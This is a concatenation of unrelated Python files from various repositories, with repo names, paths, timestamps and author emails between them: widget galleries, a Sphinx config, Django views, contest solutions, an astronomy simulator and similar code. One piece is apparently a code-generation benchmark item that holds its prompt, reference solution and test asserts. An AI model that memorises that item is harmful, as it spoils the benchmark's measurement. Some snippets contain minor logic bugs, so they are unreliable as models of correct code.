module: extra_args = dict(options=[1, 2, 3]) elif 'progress' in widget.__name__.lower(): extra_args = dict(value=50) elif 'gridspeclayout' in widget.__name__.lower(): extra_args = dict(n_rows=3, n_columns=3) else: extra_args = {} wid = widget(description='A label!', **extra_args) try: short_description = wid.__doc__.split('\n')[0] if not short_description: short_description = wid.__doc__.split('\n')[1] except AttributeError: short_description = '' url = f'{help_url_base}#{name}' if help_url_base == '': help_link = f'<h3><a href="{url}" rel="nofollow" target="_self" style="color:gray;">{name}</a></h3><p>{short_description}</p>' else: magic_stuff = 'data-commandlinker-command="rendermime:handle-local-link" data-commandlinker-args="{"path":"04.00-widget-list.ipynb","id":"#IntRangeSlider"}"' help_link = f'<h3><a href="{url}" rel="nofollow" target="_blank" style="color:gray;" {magic_stuff}>{name}</a></h3><p>{short_description}</p>' title = widgets.HTML(value=help_link) title.layout.padding = '10px' b.layout.overflow_x = 'hidden' b.children = [title, wid] return b for group, group_widgets in groups.items(): # print(group) titles.append(group) col_spec = f"repeat({columns}, minmax({min_width_single_widget}px, 1fr)" layout = widgets.Layout(grid_template_columns=col_spec, grid_gap='10px 10px') kid = widgets.GridBox(layout=layout) kid.children = [box_maker(k, v, group) for k, v in group_widgets.items()] kids.append(kid) tabs.children = kids for i, title in enumerate(titles): nice = title.replace('_', ' ') tabs.set_title(i, nice.title()) return tabs

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# -*- coding: utf-8 -*- # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # # sahara documentation build configuration file, created Fri May 6 15:19:20 # 2016. # # This file is execfile()d with the current directory set to # its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import os import sys extensions = [ 'os_api_ref', 'openstackdocstheme' ] # openstackdocstheme options repository_name = 'openstack/sahara' bug_project = '935' bug_tag = 'api-ref' html_last_updated_fmt = '%Y-%m-%d %H:%M' html_theme = 'openstackdocs' html_theme_options = { "sidebar_dropdown": "api_ref", "sidebar_mode": "toc", } # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.insert(0, os.path.abspath('../../')) sys.path.insert(0, os.path.abspath('../')) sys.path.insert(0, os.path.abspath('./')) # -- General configuration ---------------------------------------------------- # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones. # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. # # source_encoding = 'utf-8' # The master toctree document. master_doc = 'index' # General information about the project. project = u'Data Processing API Reference' copyright = u'2010-present, OpenStack Foundation' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # from sahara.version import version_info # The full version, including alpha/beta/rc tags. release = version_info.release_string() # The short X.Y version. version = version_info.version_string() # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: # today = '' # Else, today_fmt is used as the format for a strftime call. # today_fmt = '%B %d, %Y' # The reST default role (used for this markup: `text`) to use # for all documents. # default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. # add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). add_module_names = False # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # -- Options for man page output ---------------------------------------------- # Grouping the document tree for man pages. # List of tuples 'sourcefile', 'target', u'title', u'Authors name', 'manual' # -- Options for HTML output -------------------------------------------------- # The theme to use for HTML and HTML Help pages. Major themes that come with # Sphinx are currently 'default' and 'sphinxdoc'. # html_theme_path = ["."] # html_theme = '_theme' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. # html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". # html_title = None # A shorter title for the navigation bar. Default is the same as html_title. # html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. # html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. # html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". # html_static_path = ['_static'] # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. # html_use_smartypants = True # Custom sidebar templates, maps document names to template names. # html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. # html_additional_pages = {} # If false, no module index is generated. # html_use_modindex = True # If false, no index is generated. # html_use_index = True # If true, the index is split into individual pages for each letter. # html_split_index = False # If true, links to the reST sources are added to the pages. # html_show_sourcelink = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. # html_use_opensearch = '' # If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml"). # html_file_suffix = '' # Output file base name for HTML help builder. htmlhelp_basename = 'saharaoc' # -- Options for LaTeX output ------------------------------------------------- # The paper size ('letter' or 'a4'). # latex_paper_size = 'letter' # The font size ('10pt', '11pt' or '12pt'). # latex_font_size = '10pt' # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass # [howto/manual]). latex_documents = [ ('index', 'Sahara.tex', u'OpenStack Data Processing API Documentation', u'OpenStack Foundation', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. # latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. # latex_use_parts = False # Additional stuff for the LaTeX preamble. # latex_preamble = '' # Documents to append as an appendix to all manuals. # latex_appendices = [] # If false, no module index is generated. # latex_use_modindex = True

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#This Script Reads the Data from I2C Slave device(Flash memory) using FTDI MPSSE Engine from etc_abb_i2c_lib import BB_I2C from etc_abb_i2c_lib.etc_header import * import sys import time d=BB_I2C(0) d.DevConf(BAUD,DO_MASK_VAL,SYNC_MODE) TXACKBuf=[] RXACKBuf=[] d.I2CStart_CMD() TXACKBuf+=d.SendAddr(0x80,0) TXACKBuf+=d.SendByte('00') d.I2CStart_CMD() TXACKBuf+=d.SendAddr(0x80,1) RXACKBuf+=d.ReadByteAK() RXACKBuf+=d.ReadByteNAK() d.I2CStop_CMD() print RXACKBuf ''' data = ['1','2','3','4','5','6','7','8'] TXACKBuf=[] RXACKBuf=[] d.I2CStart_CMD() TXACKBuf+=d.SendAddr(0xA6,0) TXACKBuf+=d.SendByte(0x10) d.I2CStart_CMD() TXACKBuf+=d.SendAddr(0xA6,1) for i in range(7): RXACKBuf+=d.ReadByteAK() RXACKBuf+=d.ReadByteNAK() d.I2CStop_CMD() print RXACKBuf '''

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BrianC68/wr_maternity

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from django.shortcuts import render from django.urls import reverse_lazy from django.views.generic import ListView, DetailView from .models import Midwife class MidwifeListView(ListView): '''Page that displays all midwives.''' template_name = 'midwife_list_view.html' model = Midwife context_object_name = 'midwives' def get_queryset(self): queryset = super().get_queryset().only('name', 'service_area', 'photo') return queryset class MidwifeDetailView(DetailView): '''Page that displays individual doula details.''' template_name = 'midwife_detail_view.html' model = Midwife context_object_name = 'midwife'

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brianc@wi.rr.com

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elssm/leetcode

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class Solution(object): def trap(self, height): """ :type height: List[int] :rtype: int """ if len(height) <= 1: return 0 #两层循环时间复杂度太大了。不过思路没问题 # ans=0 # start=0 # end=0 # max_h = max(height) # for i in range(1,max_h+1): # for j in range(len(height)): # if height[j]>=i: # start=j # break # for k in range(len(height)): # if height[len(height)-k-1]>=i: # end=len(height)-k-1 # break # for j in range(start+1,end): # if height[j]<i: # ans+=1 # return ans #找到最大值 max_h = max(height) #找到最大值的下标(第一个最大值) index = height.index(max_h) ans=0 temp=0 #从左到最大值遍历 for i in range(index): if height[i]<height[temp]: ans=ans+(height[temp]-height[i]) else: temp=i height=list(reversed(height[index:])) temp2=0 for i in range(len(height)): if height[i]<height[temp2]: ans=ans+(height[temp2]-height[i]) else: temp2=i return ans

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# coding: utf-8 """ Coinsecure Api Documentation To generate an API key, please visit <a href='https://coinsecure.in/api' target='_new' class='homeapi'>https://coinsecure.in/api</a>.<br>Guidelines for use can be accessed at <a href='https://api.coinsecure.in/v1/guidelines'>https://api.coinsecure.in/v1/guidelines</a>.<br>Programming Language Libraries for use can be accessed at <a href='https://api.coinsecure.in/v1/code-libraries'>https://api.coinsecure.in/v1/code-libraries</a>. OpenAPI spec version: 1.0b Generated by: https://github.com/swagger-api/swagger-codegen.git Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from pprint import pformat from six import iteritems import re class DepositID(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ def __init__(self): """ DepositID - a model defined in Swagger :param dict swaggerTypes: The key is attribute name and the value is attribute type. :param dict attributeMap: The key is attribute name and the value is json key in definition. """ self.swagger_types = { 'deposit_id': 'str' } self.attribute_map = { 'deposit_id': 'depositID' } self._deposit_id = None @property def deposit_id(self): """ Gets the deposit_id of this DepositID. :return: The deposit_id of this DepositID. :rtype: str """ return self._deposit_id @deposit_id.setter def deposit_id(self, deposit_id): """ Sets the deposit_id of this DepositID. :param deposit_id: The deposit_id of this DepositID. :type: str """ self._deposit_id = deposit_id def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str() def __eq__(self, other): """ Returns true if both objects are equal """ return self.__dict__ == other.__dict__ def __ne__(self, other): """ Returns true if both objects are not equal """ return not self == other

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Cywtim/autolens_workspace

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""" Simulator: VRO ============== This script simulates `Imaging` of a strong lens where: - The resolution, PSF and S/N are representative of the Vera Rubin Observatory imaging. """ # %matplotlib inline # from pyprojroot import here # workspace_path = str(here()) # %cd $workspace_path # print(f"Working Directory has been set to `{workspace_path}`") from os import path import autolens as al import autolens.plot as aplt """ The `dataset_type` describes the type of data being simulated (in this case, `Imaging` data) and `dataset_name` gives it a descriptive name. They define the folder the dataset is output to on your hard-disk: - The image will be output to `/autolens_workspace/dataset/dataset_type/dataset_label/dataset_name/image.fits`. - The noise-map will be output to `/autolens_workspace/dataset/dataset_type/dataset_label/dataset_name/noise_map.fits`. - The psf will be output to `/autolens_workspace/dataset/dataset_type/dataset_label/dataset_name/psf.fits`. """ dataset_type = "instruments" dataset_instrument = "vro" """ The path where the dataset will be output, which in this case is: `/autolens_workspace/dataset/imaging/instruments/vro/mass_sie__source_sersic` """ dataset_path = path.join("dataset", "imaging", dataset_type, dataset_instrument) """ For simulating an image of a strong lens, we recommend using a Grid2DIterate object. This represents a grid of (y,x) coordinates like an ordinary Grid2D, but when the light-profile`s image is evaluated below (using the Tracer) the sub-size of the grid is iteratively increased (in steps of 2, 4, 8, 16, 24) until the input fractional accuracy of 99.99% is met. This ensures that the divergent and bright central regions of the source galaxy are fully resolved when determining the total flux emitted within a pixel. """ grid = al.Grid2DIterate.uniform( shape_native=(100, 100), pixel_scales=0.2, fractional_accuracy=0.9999 ) """ Simulate a simple Gaussian PSF for the image. """ psf = al.Kernel2D.from_gaussian( shape_native=(21, 21), sigma=0.5, pixel_scales=grid.pixel_scales, normalize=True ) """ To simulate the `Imaging` dataset we first create a simulator, which defines the exposure time, background sky, noise levels and psf of the dataset that is simulated. """ simulator = al.SimulatorImaging( exposure_time=100.0, psf=psf, background_sky_level=1.0, add_poisson_noise=True ) """ Setup the lens galaxy's mass (SIE+Shear) and source galaxy light (elliptical Sersic) for this simulated lens. """ lens_galaxy = al.Galaxy( redshift=0.5, mass=al.mp.EllIsothermal( centre=(0.0, 0.0), einstein_radius=1.6, elliptical_comps=al.convert.elliptical_comps_from(axis_ratio=0.8, angle=45.0), ), ) source_galaxy = al.Galaxy( redshift=1.0, bulge=al.lp.EllSersic( centre=(0.1, 0.1), elliptical_comps=al.convert.elliptical_comps_from(axis_ratio=0.8, angle=60.0), intensity=0.3, effective_radius=1.0, sersic_index=2.5, ), ) """ Use these galaxies to setup a tracer, which will generate the image for the simulated `Imaging` dataset. """ tracer = al.Tracer.from_galaxies(galaxies=[lens_galaxy, source_galaxy]) """ Lets look at the tracer`s image, this is the image we'll be simulating. """ tracer_plotter = aplt.TracerPlotter(tracer=tracer, grid=grid) tracer_plotter.figures_2d(image=True) """ We can now pass this simulator a tracer, which creates the ray-traced image plotted above and simulates it as an imaging dataset. """ imaging = simulator.from_tracer_and_grid(tracer=tracer, grid=grid) """ Lets plot the simulated `Imaging` dataset before we output it to fits. """ imaging_plotter = aplt.ImagingPlotter(imaging=imaging) imaging_plotter.subplot_imaging() """ Output the simulated dataset to the dataset path as .fits files. """ imaging.output_to_fits( image_path=path.join(dataset_path, "image.fits"), psf_path=path.join(dataset_path, "psf.fits"), noise_map_path=path.join(dataset_path, "noise_map.fits"), overwrite=True, ) """ Output a subplot of the simulated dataset, the image and a subplot of the `Tracer`'s quantities to the dataset path as .png files. """ mat_plot_2d = aplt.MatPlot2D( title=aplt.Title(label="Vero Rubin Observator Image"), output=aplt.Output(path=dataset_path, format="png"), ) imaging_plotter = aplt.ImagingPlotter(imaging=imaging, mat_plot_2d=mat_plot_2d) imaging_plotter.subplot_imaging() imaging_plotter.figures_2d(image=True) tracer_plotter = aplt.TracerPlotter(tracer=tracer, grid=grid, mat_plot_2d=mat_plot_2d) tracer_plotter.subplot_tracer() """ Pickle the `Tracer` in the dataset folder, ensuring the true `Tracer` is safely stored and available if we need to check how the dataset was simulated in the future. This will also be accessible via the `Aggregator` if a model-fit is performed using the dataset. """ tracer.save(file_path=dataset_path, filename="true_tracer") """ The dataset can be viewed in the folder `autolens_workspace/imaging/instruments/vro`. """

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import roslibpy client = roslibpy.Ros(host='localhost', port=9090) client.run() service = roslibpy.Service(client, '/rosout/get_loggers', 'roscpp/GetLoggers') request = roslibpy.ServiceRequest() print('Calling service...') result = service.call(request) print('Service response: {}'.format(result['loggers'])) client.terminate()

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burakbayramli/books

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# Do a simple random number generator based on the linear congruential # generator import matplotlib.pyplot as plt class Rand(object): def __init__(self, seed): self.seed = seed self.a = 16807 # 7**5 self.c = 0 self.M = 2147483647 # 2**31 -1 def ran(self): xn = (self.a*self.seed + self.c) % self.M self.seed = xn # note that by dividing by M and not M-1, we will never get 1, # so this gives #s in the range [0, 1) return xn/float(self.M) def test_random(): r = Rand(1) x = [] for i in range(10000): x.append(r.ran()) # make pairs out of successive points x1 = x[1:] x = x[:-1] plt.scatter(x, x1, s=5) plt.xlabel(r"$x_i$") plt.ylabel(r"$x_{i+1}$") plt.xlim(0,1) plt.ylim(0,1) plt.savefig("random.png", dpi=150) if __name__ == "__main__": test_random()

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jeonyh0924/celery-test

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2022-11-26T05:21:48.885913

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import random from locust import HttpUser, task, between class QuickstartUser(HttpUser): wait_time = between(5, 9) @task def index_page(self): self.client.get("/health") def on_start(self): pass

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vuchau/django-project-template

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from setuptools import setup from distutils.core import Command class TestCommand(Command): user_options = [] def initialize_options(self): pass def finalize_options(self): pass def run(self): from django.conf import settings settings.configure( DATABASES={ 'default': { 'NAME': ':memory:', 'ENGINE': 'django.db.backends.sqlite3' } }, INSTALLED_APPS=( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.admin', 'toolbox', ) ) from django.core.management import call_command call_command('test', 'toolbox') setup( name='django-project-template', cmdclass={'test': TestCommand} )

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ben.welsh@gmail.com

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#!/usr/bin/env python3 #%% for atcoder uniittest use import sys input= lambda: sys.stdin.readline().rstrip() sys.setrecursionlimit(10**9) def pin(type=int):return map(type,input().split()) def tupin(t=int):return tuple(pin(t)) def lispin(t=int):return list(pin(t)) #%%code def resolve(): N=input() K,=pin() #degit DP #dp_table["index"][smaller][cond]=cond:=ちょうどK個の数があるを満たす総数 rb=(0,1) dp_table=[[[0 for cnd in range(K+1)]for sml in rb]for ind in range(len(N)+1)] dp_table[0][0][0]=1 #print(dp_table) #print("degit,sml,k,prove,l,x<n,dp_table[degit-1][sml][k]")# for degit in range(len(N)+1): n=int(N[degit-1]) for sml in rb: t=10 if sml else int(N[degit-1])+1 for k in range(K+1): for prove in range(t): x=prove try:#Indexerror #print(degit,sml,k,prove,"l",x<n,dp_table[degit-1][sml][k]) #if sml==False and x==n:print(n,":") dp_table[degit][sml or x<n][k+(x!=0)]+=dp_table[degit-1][sml][k] except :pass print(dp_table[-1][0][K]+dp_table[-1][1][K]) #print(dp_table) #%%submit! resolve()

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Everfighting/Learn-Python-the-Hard-Way

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# coding=utf-8 import math # 利用math模块中的乘方进行计算。 print math.pow(5,2) # 利用内置算术运算符乘方 print 5**2 # 地板除，如果是整数相除，结果只是整数，小数部分去除。 # 在python3.0以上版本/结果含有小数，//才是地板除。 print 5/3

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cbb903601682@163.com

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import bisect class MyCalendar: # def __init__(self): # self.left=None # self.right=None # self.available=[] # def book(self, start: int, end: int) -> bool: # if (start and end) or (start==0 and end) : # if start<=end: # # First Book # if self.left==None: # self.left=start # self.right=end # return True # else: # if end<=self.left : # if end!=self.left: # self.available.append((end,self.left)) # self.left=start # return True # if start>=self.right: # if start!=self.right: # self.available.append((self.right,start)) # self.right=end # return True # else: # if len(self.available)>0: # for inter in self.available: # if inter[0]<=start and end<=inter[1]: # self.available.remove(inter) # if inter[0]!=start: # self.available.append((inter[0],start)) # if inter[1]!=end: # self.available.append((end,inter[1])) # return True # return False # return False # else: # return False # else: # return False def __init__(self): self.arr = [] self.dict = {} def book(self, start: int, end: int) -> bool: if start in self.dict: return False if not self.arr: self.arr.append(start) self.dict[start] = end return True i = bisect.bisect_left(self.arr, start) if i - 1 >= 0 and self.dict[self.arr[i - 1]] > start: return False if i < len(self.arr) and self.arr[i] < end: return False self.arr.insert(i, start) self.dict[start] = end return True if __name__ == '__main__': S=MyCalendar() S.book(48,50) print(S.book(0,6))

[ "guoyunzhe.se@gmail.com" ]

guoyunzhe.se@gmail.com

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/Results/Python/Array/134.py

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[]

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bar2104y/Abramyan_1000_tasks

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refs/heads/master

2021-06-05T18:05:09.788453

2020-06-30T19:52:31

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import math from genarr import genRandomArr x,y = [], [] n = int(input("N: ")) # for i in range(n): # x.append(int(input("X: "))) # y.append(int(input("Y: "))) x,y = genRandomArr(n,-10,10), genRandomArr(n,-10,10) def distanse(x1,y1,x2,y2): return(math.sqrt((x2-x1)**2 + (y2-y1)**2)) maxd = 0 for i in range(len(x)): print((x[i],y[i])) for j in range(i+1,len(x)): d = distanse(x[i],y[i],x[j],y[j]) if d > maxd: ii,jj = i,j maxd = d print((x[ii],y[ii]), (x[jj],y[jj]), distanse(x[ii],y[ii], x[jj],y[jj]))

[ "bar2104y@yandex.ru" ]

bar2104y@yandex.ru

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/blog_api/users/signals.py

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from django.contrib.auth.signals import user_logged_in # user_logged_out, user_login_failed from django.db.models import signals from django.dispatch import Signal from django.db import transaction from django.dispatch import receiver from django.shortcuts import get_object_or_404 from django.utils import timezone from django.contrib.auth import get_user_model User = get_user_model() from blog_api.users.models import User, VerificationCode, PasswordResetCode @receiver(signals.post_save, sender=User) def send_user_verification_email_signal(sender, instance, created, **kwargs): '''Send user a verification email on first save.''' if created: code = VerificationCode.objects.create(user_to_verify=instance) transaction.on_commit( lambda: code.send_user_verification_email() ) new_registration = Signal(providing_args=["ip_address", "user_username"]) @receiver(new_registration) def record_ip_on_new_registration(sender, task_id, **kwargs): username = kwargs['user_username'] ip_address = kwargs['ip_address'] user = get_object_or_404(User, username=username) user.ip_address = ip_address user.save()

[ "b_easyx@protonmail.com" ]

b_easyx@protonmail.com

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/solutions_python/Problem_138/1275.py

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[]

no_license

dr-dos-ok/Code_Jam_Webscraper

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refs/heads/master

2020-04-06T08:17:40.938460

2018-10-14T10:12:47

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py

import os, sys import itertools lines = [line.strip() for line in open("%s" % sys.argv[1]).readlines()] lines.reverse() cases = lines.pop() for case in range(int(cases)): lines.pop() lowers, highers = [], [] N = sorted(map(float,lines.pop().split(' '))) K = sorted(map(float,lines.pop().split(' '))) for i, n in enumerate(N): try: lower = max(filter(lambda x: x<n and x not in lowers, K)) lowers.append(lower) except: lower = None try: higher = max(filter(lambda x: x>n and x not in highers, K)) highers.append(higher) except: higher = None print "Case #%s:" % (case+1), print len(lowers), print len(filter(lambda x: x[0] >x[1], [(n,K.pop(K.index(min(filter(lambda x: x>n, K) or K)))) for n in N]))

[ "miliar1732@gmail.com" ]

miliar1732@gmail.com

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/Aula04/src/app.py

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[]

no_license

Karagul/streamlit_bootcamp

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refs/heads/main

2023-02-08T20:57:31.280465

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0

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UTF-8

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import streamlit as st import pandas as pd import seaborn as sns import matplotlib.pyplot as plt def carrega_dados(caminho): dados = pd.read_csv(caminho) return dados def grafico_comparativo(dados_2019, dados_2020, causa, estado="BRASIL"): if estado == "BRASIL": total_2019 = dados_2019.groupby("tipo_doenca").sum() total_2020 = dados_2020.groupby("tipo_doenca").sum() lista = [int(total_2019.loc[causa]), int(total_2020.loc[causa])] else: total_2019 = dados_2019.groupby(["uf", "tipo_doenca"]).sum() total_2020 = dados_2020.groupby(["uf", "tipo_doenca"]).sum() lista = [int(total_2019.loc[estado, causa]), int(total_2020.loc[estado, causa])] dados = pd.DataFrame({"Total": lista, "Ano": [2019, 2020]}) #plt.figure(figsize=(8, 6)) return sns.barplot(x="Ano", y="Total", data=dados) #plt.title(f"Óbitos por {causa} - {estado}") # plt.show() def main(): obitos_2019 = carrega_dados("dados/obitos-2019.csv") obitos_2020 = carrega_dados("dados/obitos-2020.csv") figura = grafico_comparativo(obitos_2019, obitos_2020, "SRAG") st.title("Análise de Óbitos 2019-2020") st.markdown("Este trabalho analisa dados dos **óbitos 2019-2020**") st.pyplot(figura) if __name__ == "__main__": main()

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/Res/Prefabs/GameObjects/player/ball.py

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sourenaKhanzadeh/breakoutgame

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refs/heads/master

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2019-05-29T21:25:21

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from Prefabs.GameObjects.shapes.shapes import * from Prefabs.GameObjects.bricks.bricks import Brick from setting import * class Ball(Circle): def __init__(self, x=WIDTH // 2, y=WIDTH // 2, color=CC.RED, width=0, rad=10): super().__init__(x, y, color, width, rad) def move(self): # go east if less than WIDTH if self.getX() + self.getRad() + self.dx > WIDTH: self.dx = -self.dx # go west if less than WIDTH elif self.getX() - (self.getRad() - self.dx) < 0: self.dx = -self.dx # if hit the up screen bounce down if self.getY() + self.getRad() < 0: self.dy = -self.dy # debug the ball self.debug(DEBUG) # move x axis self.incX(self.dx) # move y axis self.decY(self.dy) def debug(self, active): if active: if self.getY() > HEIGHT: self.setY(0) def collision(self, col:Shape): # very simple ball collision logic if self.getY() - self.dy == col.getY() and \ col.getX() <= self.getX() <= col.getX() + col.getW(): self.dy = -self.dy # if the collided is a brick then change the hit number of the brick if len(col) == OO.BRICKS: col.hits -= 1 def __len__(self): return OO.BALL

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soure@DESKTOP-6PVNFEF.(none)

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/LeetCode/Apr20Challenge/Week4/day28_first_unique_number.py

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[]

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imn00133/algorithm

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# # Solved Date: 20.04.28. import collections class FirstUnique: def __init__(self, nums): self.unique = None self.next_unique_queue = collections.deque() self.manage_unique = collections.defaultdict(int) for number in nums: self.manage_unique[number] += 1 if self.manage_unique[number] == 1: self.next_unique_queue.append(number) self.find_next_unique() def show_first_unique(self) -> int: if self.unique is not None: return self.unique else: return -1 def add(self, value) -> None: self.manage_unique[value] += 1 if self.manage_unique[value] == 1: self.next_unique_queue.append(value) if value == self.show_first_unique() or self.show_first_unique() == -1: self.find_next_unique() def find_next_unique(self): while self.next_unique_queue: number = self.next_unique_queue.popleft() if self.manage_unique[number] == 1: self.unique = number break else: self.unique = None def test(): queue = FirstUnique([2, 3, 5]) print(queue.show_first_unique()) queue.add(5) print(queue.show_first_unique()) queue.add(2) print(queue.show_first_unique()) queue.add(3) print(queue.show_first_unique()) print() queue = FirstUnique([7, 7, 7]) print(queue.show_first_unique()) queue.add(7) queue.add(3) queue.add(3) queue.add(7) queue.add(17) print(queue.show_first_unique()) print() queue = FirstUnique([809]) print(queue.show_first_unique()) queue.add(809) print(queue.show_first_unique()) if __name__ == '__main__': test()

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imn00133@gmail.com

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ENTRY_POINT = 'check_if_last_char_is_a_letter' #[PROMPT] def check_if_last_char_is_a_letter(txt): ''' Create a function that returns True if the last character of a given string is an alphabetical character and is not a part of a word, and False otherwise. Note: "word" is a group of characters separated by space. Examples: check_if_last_char_is_a_letter("apple pie") ➞ False check_if_last_char_is_a_letter("apple pi e") ➞ True check_if_last_char_is_a_letter("apple pi e ") ➞ False check_if_last_char_is_a_letter("") ➞ False ''' #[SOLUTION] check = txt.split(' ')[-1] return True if len(check) == 1 and (97 <= ord(check.lower()) <= 122) else False #[CHECK] def check(candidate): # Check some simple cases assert candidate("apple") == False assert candidate("apple pi e") == True assert candidate("eeeee") == False assert candidate("A") == True assert candidate("Pumpkin pie ") == False assert candidate("Pumpkin pie 1") == False assert candidate("") == False assert candidate("eeeee e ") == False assert candidate("apple pie") == False assert candidate("apple pi e ") == False # Check some edge cases that are easy to work out by hand. assert True

[ "barnes@openai.com" ]

barnes@openai.com

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ArbalestV/Purdue-Coursework

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# encoding: utf-8 # module nss.nss # from /usr/lib64/python2.6/site-packages/nss/nss.so # by generator 1.136 """ This module implements the NSS functions """ # no imports from object import object class RDN(object): """ An object representing an X501 Relative Distinguished Name (e.g. RDN). RDN objects contain an ordered list of `AVA` objects. Examples:: RDN() RDN(nss.AVA('cn', 'www.redhat.com')) RDN([ava0, ava1]) The RDN object constructor may be invoked with zero or more `AVA` objects, or you may optionally pass a list or tuple of `AVA` objects. RDN objects contain an ordered list of `AVA` objects. The RDN object has both sequence and mapping behaviors with respect to the AVA's they contain. Thus you can index an AVA by position, by name, or by SecItem (if it's an OID). You can iterate over the list, get it's length or take a slice. If you index by string the string may be either a canonical name for the AVA type (e.g. 'cn') or the dotted-decimal notation for the OID (e.g. 2.5.4.3). There may be multiple AVA's in a RDN whose type matches (e.g. OU=engineering+OU=boston). It is not common to have more than one AVA in a RDN with the same type. However because of the possiblity of being multi-valued when indexing by type a list is always returned containing the matching AVA's. Thus:: rdn = nss.RDN(nss.AVA('OU', 'engineering')) rdn['ou'] returns [AVA('OU=engineering') rdn = nss.RDN(nss.AVA('OU', 'engineering'), nss.AVA('OU', 'boston')) rdn['ou'] returns [AVA('OU=boston'), AVA('OU=engineering')] Examples:: rdn = nss.RDN(nss.AVA('cn', 'www.redhat.com')) str(rdn) returns 'CN=www.redhat.com' rdn[0] returns an `AVA` object with the value C=US rdn['cn'] returns a list comprised of an `AVA` object with the value CN=www.redhat.com rdn['2.5.4.3'] returns a list comprised of an `AVA` object with the value CN=www.redhat.com because 2.5.4.3 is the dotted-decimal OID for common name (i.e. cn) rdn.has_key('cn') returns True because the RDN has a common name RDN rdn.has_key('2.5.4.3') returns True because the RDN has a common name AVA because 2.5.4.3 is the dotted-decimal OID for common name (i.e. cn) len(rdn) returns 1 because there is one `AVA` object in it list(rdn) returns a list of each `AVA` object in it """ def has_key(self, arg): # real signature unknown; restored from __doc__ """ has_key(arg) -> bool :Parameters: arg : string or integer canonical name (e.g. 'cn') or oid dotted-decimal or SEC_OID_* enumeration constant return True if RDN has an AVA whose oid can be identified by arg. """ return False def __cmp__(self, y): # real signature unknown; restored from __doc__ """ x.__cmp__(y) <==> cmp(x,y) """ pass def __getitem__(self, y): # real signature unknown; restored from __doc__ """ x.__getitem__(y) <==> x[y] """ pass def __init__(self): # real signature unknown; restored from __doc__ pass def __len__(self): # real signature unknown; restored from __doc__ """ x.__len__() <==> len(x) """ pass @staticmethod # known case of __new__ def __new__(S, *more): # real signature unknown; restored from __doc__ """ T.__new__(S, ...) -> a new object with type S, a subtype of T """ pass def __repr__(self): # real signature unknown; restored from __doc__ """ x.__repr__() <==> repr(x) """ pass

[ "pkalita@princeton.edu" ]

pkalita@princeton.edu

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2023-04-28T16:00:37.673566

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from sys import stdin def input(): return stdin.readline().strip() def read_int(): return int(input()) def read_ints(): return map(int, input().split()) t = read_int() for case_num in range(t): n = read_int() s = list(read_ints()) f = list(read_ints()) d = [] for i in range(n): if i == 0 or s[i] >= f[i - 1]: d.append(f[i] - s[i]) else: d.append(f[i] - f[i - 1]) print(' '.join(map(str, d)))

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qqbbnease1004@126.com

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MaryanneNjeri/pythonModules

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refs/heads/master

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class Person: age = 0 # this is a constructor def __init__(self,initialAge): if initialAge > 0: self.age = initialAge else: self.age = 0 print("Age is not valid, setting age to 0.. ") def yearPasses(self): self.age = self.age +1 return self.age def amOld(self): if self.age < 13: print("You are young..") if self.age >= 13 and self.age < 18: print("You are a teenager..") else: print("You are old..") # this is an object person = Person(10) person.yearPasses() person.amOld()

[ "mary.jereh@gmail.com" ]

mary.jereh@gmail.com

